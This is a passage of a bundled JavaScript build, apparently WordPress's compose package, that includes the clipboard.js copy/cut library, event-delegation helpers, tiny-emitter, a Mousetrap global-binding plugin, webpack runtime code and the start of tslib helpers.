        throw new Error('Invalid "target" attribute. You can\'t cut text from elements with "readonly" or "disabled" attributes');
      }
    } else {
      throw new Error('Invalid "target" value, use a valid Element');
    }
  } // Define selection strategy based on `text` property.


  if (text) {
    return actions_copy(text, {
      container: container
    });
  } // Defines which selection strategy based on `target` property.


  if (target) {
    return action === 'cut' ? actions_cut(target) : actions_copy(target, {
      container: container
    });
  }
};

/* harmony default export */ var actions_default = (ClipboardActionDefault);
;// CONCATENATED MODULE: ./src/clipboard.js
function clipboard_typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { clipboard_typeof = function _typeof(obj) { return typeof obj; }; } else { clipboard_typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return clipboard_typeof(obj); }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }

function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }

function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }

function _possibleConstructorReturn(self, call) { if (call && (clipboard_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }

function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; }

function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } }

function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }






/**
 * Helper function to retrieve attribute value.
 * @param {String} suffix
 * @param {Element} element
 */

function getAttributeValue(suffix, element) {
  var attribute = "data-clipboard-".concat(suffix);

  if (!element.hasAttribute(attribute)) {
    return;
  }

  return element.getAttribute(attribute);
}
/**
 * Base class which takes one or more elements, adds event listeners to them,
 * and instantiates a new `ClipboardAction` on each click.
 */


var Clipboard = /*#__PURE__*/function (_Emitter) {
  _inherits(Clipboard, _Emitter);

  var _super = _createSuper(Clipboard);

  /**
   * @param {String|HTMLElement|HTMLCollection|NodeList} trigger
   * @param {Object} options
   */
  function Clipboard(trigger, options) {
    var _this;

    _classCallCheck(this, Clipboard);

    _this = _super.call(this);

    _this.resolveOptions(options);

    _this.listenClick(trigger);

    return _this;
  }
  /**
   * Defines if attributes would be resolved using internal setter functions
   * or custom functions that were passed in the constructor.
   * @param {Object} options
   */


  _createClass(Clipboard, [{
    key: "resolveOptions",
    value: function resolveOptions() {
      var options = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
      this.action = typeof options.action === 'function' ? options.action : this.defaultAction;
      this.target = typeof options.target === 'function' ? options.target : this.defaultTarget;
      this.text = typeof options.text === 'function' ? options.text : this.defaultText;
      this.container = clipboard_typeof(options.container) === 'object' ? options.container : document.body;
    }
    /**
     * Adds a click event listener to the passed trigger.
     * @param {String|HTMLElement|HTMLCollection|NodeList} trigger
     */

  }, {
    key: "listenClick",
    value: function listenClick(trigger) {
      var _this2 = this;

      this.listener = listen_default()(trigger, 'click', function (e) {
        return _this2.onClick(e);
      });
    }
    /**
     * Defines a new `ClipboardAction` on each click event.
     * @param {Event} e
     */

  }, {
    key: "onClick",
    value: function onClick(e) {
      var trigger = e.delegateTarget || e.currentTarget;
      var action = this.action(trigger) || 'copy';
      var text = actions_default({
        action: action,
        container: this.container,
        target: this.target(trigger),
        text: this.text(trigger)
      }); // Fires an event based on the copy operation result.

      this.emit(text ? 'success' : 'error', {
        action: action,
        text: text,
        trigger: trigger,
        clearSelection: function clearSelection() {
          if (trigger) {
            trigger.focus();
          }

          window.getSelection().removeAllRanges();
        }
      });
    }
    /**
     * Default `action` lookup function.
     * @param {Element} trigger
     */

  }, {
    key: "defaultAction",
    value: function defaultAction(trigger) {
      return getAttributeValue('action', trigger);
    }
    /**
     * Default `target` lookup function.
     * @param {Element} trigger
     */

  }, {
    key: "defaultTarget",
    value: function defaultTarget(trigger) {
      var selector = getAttributeValue('target', trigger);

      if (selector) {
        return document.querySelector(selector);
      }
    }
    /**
     * Allow fire programmatically a copy action
     * @param {String|HTMLElement} target
     * @param {Object} options
     * @returns Text copied.
     */

  }, {
    key: "defaultText",

    /**
     * Default `text` lookup function.
     * @param {Element} trigger
     */
    value: function defaultText(trigger) {
      return getAttributeValue('text', trigger);
    }
    /**
     * Destroy lifecycle.
     */

  }, {
    key: "destroy",
    value: function destroy() {
      this.listener.destroy();
    }
  }], [{
    key: "copy",
    value: function copy(target) {
      var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {
        container: document.body
      };
      return actions_copy(target, options);
    }
    /**
     * Allow fire programmatically a cut action
     * @param {String|HTMLElement} target
     * @returns Text cutted.
     */

  }, {
    key: "cut",
    value: function cut(target) {
      return actions_cut(target);
    }
    /**
     * Returns the support of the given action, or all actions if no action is
     * given.
     * @param {String} [action]
     */

  }, {
    key: "isSupported",
    value: function isSupported() {
      var action = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : ['copy', 'cut'];
      var actions = typeof action === 'string' ? [action] : action;
      var support = !!document.queryCommandSupported;
      actions.forEach(function (action) {
        support = support && !!document.queryCommandSupported(action);
      });
      return support;
    }
  }]);

  return Clipboard;
}((tiny_emitter_default()));

/* harmony default export */ var clipboard = (Clipboard);

/***/ }),

/***/ 828:
/***/ (function(module) {

var DOCUMENT_NODE_TYPE = 9;

/**
 * A polyfill for Element.matches()
 */
if (typeof Element !== 'undefined' && !Element.prototype.matches) {
    var proto = Element.prototype;

    proto.matches = proto.matchesSelector ||
                    proto.mozMatchesSelector ||
                    proto.msMatchesSelector ||
                    proto.oMatchesSelector ||
                    proto.webkitMatchesSelector;
}

/**
 * Finds the closest parent that matches a selector.
 *
 * @param {Element} element
 * @param {String} selector
 * @return {Function}
 */
function closest (element, selector) {
    while (element && element.nodeType !== DOCUMENT_NODE_TYPE) {
        if (typeof element.matches === 'function' &&
            element.matches(selector)) {
          return element;
        }
        element = element.parentNode;
    }
}

module.exports = closest;


/***/ }),

/***/ 438:
/***/ (function(module, __unused_webpack_exports, __nested_webpack_require_15749__) {

var closest = __nested_webpack_require_15749__(828);

/**
 * Delegates event to a selector.
 *
 * @param {Element} element
 * @param {String} selector
 * @param {String} type
 * @param {Function} callback
 * @param {Boolean} useCapture
 * @return {Object}
 */
function _delegate(element, selector, type, callback, useCapture) {
    var listenerFn = listener.apply(this, arguments);

    element.addEventListener(type, listenerFn, useCapture);

    return {
        destroy: function() {
            element.removeEventListener(type, listenerFn, useCapture);
        }
    }
}

/**
 * Delegates event to a selector.
 *
 * @param {Element|String|Array} [elements]
 * @param {String} selector
 * @param {String} type
 * @param {Function} callback
 * @param {Boolean} useCapture
 * @return {Object}
 */
function delegate(elements, selector, type, callback, useCapture) {
    // Handle the regular Element usage
    if (typeof elements.addEventListener === 'function') {
        return _delegate.apply(null, arguments);
    }

    // Handle Element-less usage, it defaults to global delegation
    if (typeof type === 'function') {
        // Use `document` as the first parameter, then apply arguments
        // This is a short way to .unshift `arguments` without running into deoptimizations
        return _delegate.bind(null, document).apply(null, arguments);
    }

    // Handle Selector-based usage
    if (typeof elements === 'string') {
        elements = document.querySelectorAll(elements);
    }

    // Handle Array-like based usage
    return Array.prototype.map.call(elements, function (element) {
        return _delegate(element, selector, type, callback, useCapture);
    });
}

/**
 * Finds closest match and invokes callback.
 *
 * @param {Element} element
 * @param {String} selector
 * @param {String} type
 * @param {Function} callback
 * @return {Function}
 */
function listener(element, selector, type, callback) {
    return function(e) {
        e.delegateTarget = closest(e.target, selector);

        if (e.delegateTarget) {
            callback.call(element, e);
        }
    }
}

module.exports = delegate;


/***/ }),

/***/ 879:
/***/ (function(__unused_webpack_module, exports) {

/**
 * Check if argument is a HTML element.
 *
 * @param {Object} value
 * @return {Boolean}
 */
exports.node = function(value) {
    return value !== undefined
        && value instanceof HTMLElement
        && value.nodeType === 1;
};

/**
 * Check if argument is a list of HTML elements.
 *
 * @param {Object} value
 * @return {Boolean}
 */
exports.nodeList = function(value) {
    var type = Object.prototype.toString.call(value);

    return value !== undefined
        && (type === '[object NodeList]' || type === '[object HTMLCollection]')
        && ('length' in value)
        && (value.length === 0 || exports.node(value[0]));
};

/**
 * Check if argument is a string.
 *
 * @param {Object} value
 * @return {Boolean}
 */
exports.string = function(value) {
    return typeof value === 'string'
        || value instanceof String;
};

/**
 * Check if argument is a function.
 *
 * @param {Object} value
 * @return {Boolean}
 */
exports.fn = function(value) {
    var type = Object.prototype.toString.call(value);

    return type === '[object Function]';
};


/***/ }),

/***/ 370:
/***/ (function(module, __unused_webpack_exports, __nested_webpack_require_19113__) {

var is = __nested_webpack_require_19113__(879);
var delegate = __nested_webpack_require_19113__(438);

/**
 * Validates all params and calls the right
 * listener function based on its target type.
 *
 * @param {String|HTMLElement|HTMLCollection|NodeList} target
 * @param {String} type
 * @param {Function} callback
 * @return {Object}
 */
function listen(target, type, callback) {
    if (!target && !type && !callback) {
        throw new Error('Missing required arguments');
    }

    if (!is.string(type)) {
        throw new TypeError('Second argument must be a String');
    }

    if (!is.fn(callback)) {
        throw new TypeError('Third argument must be a Function');
    }

    if (is.node(target)) {
        return listenNode(target, type, callback);
    }
    else if (is.nodeList(target)) {
        return listenNodeList(target, type, callback);
    }
    else if (is.string(target)) {
        return listenSelector(target, type, callback);
    }
    else {
        throw new TypeError('First argument must be a String, HTMLElement, HTMLCollection, or NodeList');
    }
}

/**
 * Adds an event listener to a HTML element
 * and returns a remove listener function.
 *
 * @param {HTMLElement} node
 * @param {String} type
 * @param {Function} callback
 * @return {Object}
 */
function listenNode(node, type, callback) {
    node.addEventListener(type, callback);

    return {
        destroy: function() {
            node.removeEventListener(type, callback);
        }
    }
}

/**
 * Add an event listener to a list of HTML elements
 * and returns a remove listener function.
 *
 * @param {NodeList|HTMLCollection} nodeList
 * @param {String} type
 * @param {Function} callback
 * @return {Object}
 */
function listenNodeList(nodeList, type, callback) {
    Array.prototype.forEach.call(nodeList, function(node) {
        node.addEventListener(type, callback);
    });

    return {
        destroy: function() {
            Array.prototype.forEach.call(nodeList, function(node) {
                node.removeEventListener(type, callback);
            });
        }
    }
}

/**
 * Add an event listener to a selector
 * and returns a remove listener function.
 *
 * @param {String} selector
 * @param {String} type
 * @param {Function} callback
 * @return {Object}
 */
function listenSelector(selector, type, callback) {
    return delegate(document.body, selector, type, callback);
}

module.exports = listen;


/***/ }),

/***/ 817:
/***/ (function(module) {

function select(element) {
    var selectedText;

    if (element.nodeName === 'SELECT') {
        element.focus();

        selectedText = element.value;
    }
    else if (element.nodeName === 'INPUT' || element.nodeName === 'TEXTAREA') {
        var isReadOnly = element.hasAttribute('readonly');

        if (!isReadOnly) {
            element.setAttribute('readonly', '');
        }

        element.select();
        element.setSelectionRange(0, element.value.length);

        if (!isReadOnly) {
            element.removeAttribute('readonly');
        }

        selectedText = element.value;
    }
    else {
        if (element.hasAttribute('contenteditable')) {
            element.focus();
        }

        var selection = window.getSelection();
        var range = document.createRange();

        range.selectNodeContents(element);
        selection.removeAllRanges();
        selection.addRange(range);

        selectedText = selection.toString();
    }

    return selectedText;
}

module.exports = select;


/***/ }),

/***/ 279:
/***/ (function(module) {

function E () {
  // Keep this empty so it's easier to inherit from
  // (via https://github.com/lipsmack from https://github.com/scottcorgan/tiny-emitter/issues/3)
}

E.prototype = {
  on: function (name, callback, ctx) {
    var e = this.e || (this.e = {});

    (e[name] || (e[name] = [])).push({
      fn: callback,
      ctx: ctx
    });

    return this;
  },

  once: function (name, callback, ctx) {
    var self = this;
    function listener () {
      self.off(name, listener);
      callback.apply(ctx, arguments);
    };

    listener._ = callback
    return this.on(name, listener, ctx);
  },

  emit: function (name) {
    var data = [].slice.call(arguments, 1);
    var evtArr = ((this.e || (this.e = {}))[name] || []).slice();
    var i = 0;
    var len = evtArr.length;

    for (i; i < len; i++) {
      evtArr[i].fn.apply(evtArr[i].ctx, data);
    }

    return this;
  },

  off: function (name, callback) {
    var e = this.e || (this.e = {});
    var evts = e[name];
    var liveEvents = [];

    if (evts && callback) {
      for (var i = 0, len = evts.length; i < len; i++) {
        if (evts[i].fn !== callback && evts[i].fn._ !== callback)
          liveEvents.push(evts[i]);
      }
    }

    // Remove event from queue to prevent memory leak
    // Suggested by https://github.com/lazd
    // Ref: https://github.com/scottcorgan/tiny-emitter/commit/c6ebfaa9bc973b33d110a84a307742b7cf94c953#commitcomment-5024910

    (liveEvents.length)
      ? e[name] = liveEvents
      : delete e[name];

    return this;
  }
};

module.exports = E;
module.exports.TinyEmitter = E;


/***/ })

/******/ 	});
/************************************************************************/
/******/ 	// The module cache
/******/ 	var __webpack_module_cache__ = {};
/******/ 	
/******/ 	// The require function
/******/ 	function __nested_webpack_require_24495__(moduleId) {
/******/ 		// Check if module is in cache
/******/ 		if(__webpack_module_cache__[moduleId]) {
/******/ 			return __webpack_module_cache__[moduleId].exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = __webpack_module_cache__[moduleId] = {
/******/ 			// no module.id needed
/******/ 			// no module.loaded needed
/******/ 			exports: {}
/******/ 		};
/******/ 	
/******/ 		// Execute the module function
/******/ 		__webpack_modules__[moduleId](module, module.exports, __nested_webpack_require_24495__);
/******/ 	
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/compat get default export */
/******/ 	!function() {
/******/ 		// getDefaultExport function for compatibility with non-harmony modules
/******/ 		__nested_webpack_require_24495__.n = function(module) {
/******/ 			var getter = module && module.__esModule ?
/******/ 				function() { return module['default']; } :
/******/ 				function() { return module; };
/******/ 			__nested_webpack_require_24495__.d(getter, { a: getter });
/******/ 			return getter;
/******/ 		};
/******/ 	}();
/******/ 	
/******/ 	/* webpack/runtime/define property getters */
/******/ 	!function() {
/******/ 		// define getter functions for harmony exports
/******/ 		__nested_webpack_require_24495__.d = function(exports, definition) {
/******/ 			for(var key in definition) {
/******/ 				if(__nested_webpack_require_24495__.o(definition, key) && !__nested_webpack_require_24495__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	}();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	!function() {
/******/ 		__nested_webpack_require_24495__.o = function(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); }
/******/ 	}();
/******/ 	
/************************************************************************/
/******/ 	// module exports must be returned from runtime so entry inlining is disabled
/******/ 	// startup
/******/ 	// Load entry module and return exports
/******/ 	return __nested_webpack_require_24495__(686);
/******/ })()
.default;
});

/***/ }),

/***/ 5760:
/***/ (() => {

/**
 * adds a bindGlobal method to Mousetrap that allows you to
 * bind specific keyboard shortcuts that will still work
 * inside a text input field
 *
 * usage:
 * Mousetrap.bindGlobal('ctrl+s', _saveChanges);
 */
/* global Mousetrap:true */
(function(Mousetrap) {
    if (! Mousetrap) {
        return;
    }
    var _globalCallbacks = {};
    var _originalStopCallback = Mousetrap.prototype.stopCallback;

    Mousetrap.prototype.stopCallback = function(e, element, combo, sequence) {
        var self = this;

        if (self.paused) {
            return true;
        }

        if (_globalCallbacks[combo] || _globalCallbacks[sequence]) {
            return false;
        }

        return _originalStopCallback.call(self, e, element, combo);
    };

    Mousetrap.prototype.bindGlobal = function(keys, callback, action) {
        var self = this;
        self.bind(keys, callback, action);

        if (keys instanceof Array) {
            for (var i = 0; i < keys.length; i++) {
                _globalCallbacks[keys[i]] = true;
            }
            return;
        }

        _globalCallbacks[keys] = true;
    };

    Mousetrap.init();
}) (typeof Mousetrap !== "undefined" ? Mousetrap : undefined);


/***/ })

/******/ 	});
/************************************************************************/
/******/ 	// The module cache
/******/ 	var __webpack_module_cache__ = {};
/******/ 	
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/ 		// Check if module is in cache
/******/ 		var cachedModule = __webpack_module_cache__[moduleId];
/******/ 		if (cachedModule !== undefined) {
/******/ 			return cachedModule.exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = __webpack_module_cache__[moduleId] = {
/******/ 			// no module.id needed
/******/ 			// no module.loaded needed
/******/ 			exports: {}
/******/ 		};
/******/ 	
/******/ 		// Execute the module function
/******/ 		__webpack_modules__[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/ 	
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/compat get default export */
/******/ 	(() => {
/******/ 		// getDefaultExport function for compatibility with non-harmony modules
/******/ 		__webpack_require__.n = (module) => {
/******/ 			var getter = module && module.__esModule ?
/******/ 				() => (module['default']) :
/******/ 				() => (module);
/******/ 			__webpack_require__.d(getter, { a: getter });
/******/ 			return getter;
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// This entry needs to be wrapped in an IIFE because it needs to be in strict mode.
(() => {
"use strict";
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);

// EXPORTS
__webpack_require__.d(__webpack_exports__, {
  __experimentalUseDialog: () => (/* reexport */ use_dialog),
  __experimentalUseDragging: () => (/* reexport */ useDragging),
  __experimentalUseDropZone: () => (/* reexport */ useDropZone),
  __experimentalUseFixedWindowList: () => (/* reexport */ useFixedWindowList),
  __experimentalUseFocusOutside: () => (/* reexport */ useFocusOutside),
  compose: () => (/* reexport */ higher_order_compose),
  createHigherOrderComponent: () => (/* reexport */ createHigherOrderComponent),
  debounce: () => (/* reexport */ debounce),
  ifCondition: () => (/* reexport */ if_condition),
  observableMap: () => (/* reexport */ observableMap),
  pipe: () => (/* reexport */ higher_order_pipe),
  pure: () => (/* reexport */ higher_order_pure),
  throttle: () => (/* reexport */ throttle),
  useAsyncList: () => (/* reexport */ use_async_list),
  useConstrainedTabbing: () => (/* reexport */ use_constrained_tabbing),
  useCopyOnClick: () => (/* reexport */ useCopyOnClick),
  useCopyToClipboard: () => (/* reexport */ useCopyToClipboard),
  useDebounce: () => (/* reexport */ useDebounce),
  useDebouncedInput: () => (/* reexport */ useDebouncedInput),
  useDisabled: () => (/* reexport */ useDisabled),
  useEvent: () => (/* reexport */ useEvent),
  useFocusOnMount: () => (/* reexport */ useFocusOnMount),
  useFocusReturn: () => (/* reexport */ use_focus_return),
  useFocusableIframe: () => (/* reexport */ useFocusableIframe),
  useInstanceId: () => (/* reexport */ use_instance_id),
  useIsomorphicLayoutEffect: () => (/* reexport */ use_isomorphic_layout_effect),
  useKeyboardShortcut: () => (/* reexport */ use_keyboard_shortcut),
  useMediaQuery: () => (/* reexport */ useMediaQuery),
  useMergeRefs: () => (/* reexport */ useMergeRefs),
  useObservableValue: () => (/* reexport */ useObservableValue),
  usePrevious: () => (/* reexport */ usePrevious),
  useReducedMotion: () => (/* reexport */ use_reduced_motion),
  useRefEffect: () => (/* reexport */ useRefEffect),
  useResizeObserver: () => (/* reexport */ use_resize_observer_useResizeObserver),
  useStateWithHistory: () => (/* reexport */ useStateWithHistory),
  useThrottle: () => (/* reexport */ useThrottle),
  useViewportMatch: () => (/* reexport */ use_viewport_match),
  useWarnOnChange: () => (/* reexport */ use_warn_on_change),
  withGlobalEvents: () => (/* reexport */ withGlobalEvents),
  withInstanceId: () => (/* reexport */ with_instance_id),
  withSafeTimeout: () => (/* reexport */ with_safe_timeout),
  withState: () => (/* reexport */ withState)
});

;// ./node_modules/tslib/tslib.es6.mjs
/******************************************************************************
Copyright (c) Microsoft Corporation.

Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted.

THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
PERFORMANCE OF THIS SOFTWARE.
***************************************************************************** */
/* global Reflect, Promise, SuppressedError, Symbol, Iterator */

var extendStatics = function(d, b) {
  extendStatics = Object.setPrototypeOf ||
      ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
      function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
  return extendStatics(d, b);
};

function __extends(d, b) {
  if (typeof b !== "function" && b !== null)
      throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
  extendStatics(d, b);
  function __() { this.constructor = d; }
  d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
}

var __assign = function() {
  __assign = Object.assign || function __assign(t) {
      for (var s, i = 1, n = arguments.length; i < n; i++) {
          s = arguments[i];
          for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
      }
      return t;
  }
  return __assign.apply(this, arguments);
}

function __rest(s, e) {
  var t = {};
  for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
      t[p] = s[p];
  if (s != null && typeof Object.getOwnPropertySymbols === "function")
      for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
          if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
              t[p[i]] = s[p[i]];
      }
  return t;
}

function __decorate(decorators, target, key, desc) {
  var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
  if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
  else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
  return c > 3 && r && Object.defineProperty(target, key, r), r;
}

function __param(paramIndex, decorator) {
  return function (target, key) { decorator(target, key, paramIndex); }
}

function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) {
  function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; }
  var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value";
  var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null;
  var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {});
  var _, done = false;
  for (var i = decorators.length - 1; i >= 0; i--) {
      var context = {};
      for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p];
      for (var p in contextIn.access) context.access[p] = contextIn.access[p];
      context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); };
      var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context);
      if (kind === "accessor") {
          if (result === void 0) continue;
          if (result === null || typeof result !== "object") throw new TypeError("Object expected");
          if (_ = accept(result.get)) descriptor.get = _;
          if (_ = accept(result.set)) descriptor.set = _;
          if (_ = accept(result.init)) initializers.unshift(_);
      }
      else if (_ = accept(result)) {
          if (kind === "field") initializers.unshift(_);
          else descriptor[key] = _;
      }
  }
  if (target) Object.defineProperty(target, contextIn.name, descriptor);
  done = true;
};

function __runInitializers(thisArg, initializers, value) {
  var useValue = arguments.length > 2;
  for (var i = 0; i < initializers.length; i++) {
      value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg);
  }
  return useValue ? value : void 0;
};

function __propKey(x) {
  return typeof x === "symbol" ? x : "".concat(x);
};

function __setFunctionName(f, name, prefix) {
  if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : "";
  return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name });
};

function __metadata(metadataKey, metadataValue) {
  if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue);
}

function __awaiter(thisArg, _arguments, P, generator) {
  function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
  return new (P || (P = Promise))(function (resolve, reject) {
      function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
      function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
      function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
      step((generator = generator.apply(thisArg, _arguments || [])).next());
  });
}

function __generator(thisArg, body) {
  var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype);
  return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
  function verb(n) { return function (v) { return step([n, v]); }; }
  function step(op) {
      if (f) throw new TypeError("Generator is already executing.");
      while (g && (g = 0, op[0] && (_ = 0)), _) try {
          if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
          if (y = 0, t) op = [op[0] & 2, t.value];
          switch (op[0]) {
              case 0: case 1: t = op; break;
              case 4: _.label++; return { value: op[1], done: false };
              case 5: _.label++; y = op[1]; op = [0]; continue;
              case 7: op = _.ops.pop(); _.trys.pop(); continue;
              default:
                  if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
                  if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
                  if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
                  if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
                  if (t[2]) _.ops.pop();
                  _.trys.pop(); continue;
          }
          op = body.call(thisArg, _);
      } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
      if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
  }
}

var __createBinding = Object.create ? (function(o, m, k, k2) {
  if (k2 === undefined) k2 = k;
  var desc = Object.getOwnPropertyDescriptor(m, k);
  if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
      desc = { enumerable: true, get: function() { return m[k]; } };
  }
  Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
  if (k2 === undefined) k2 = k;
  o[k2] = m[k];
});

function __exportStar(m, o) {
  for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p);
}

function __values(o) {
  var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0;
  if (m) return m.call(o);
  if (o && typeof o.length === "number") return {
      next: function () {
          if (o && i >= o.length) o = void 0;
          return { value: o && o[i++], done: !o };
      }
  };
  throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined.");
}

function __read(o, n) {
  var m = typeof Symbol === "function" && o[Symbol.iterator];
  if (!m) return o;
  var i = m.call(o), r, ar = [], e;
  try {
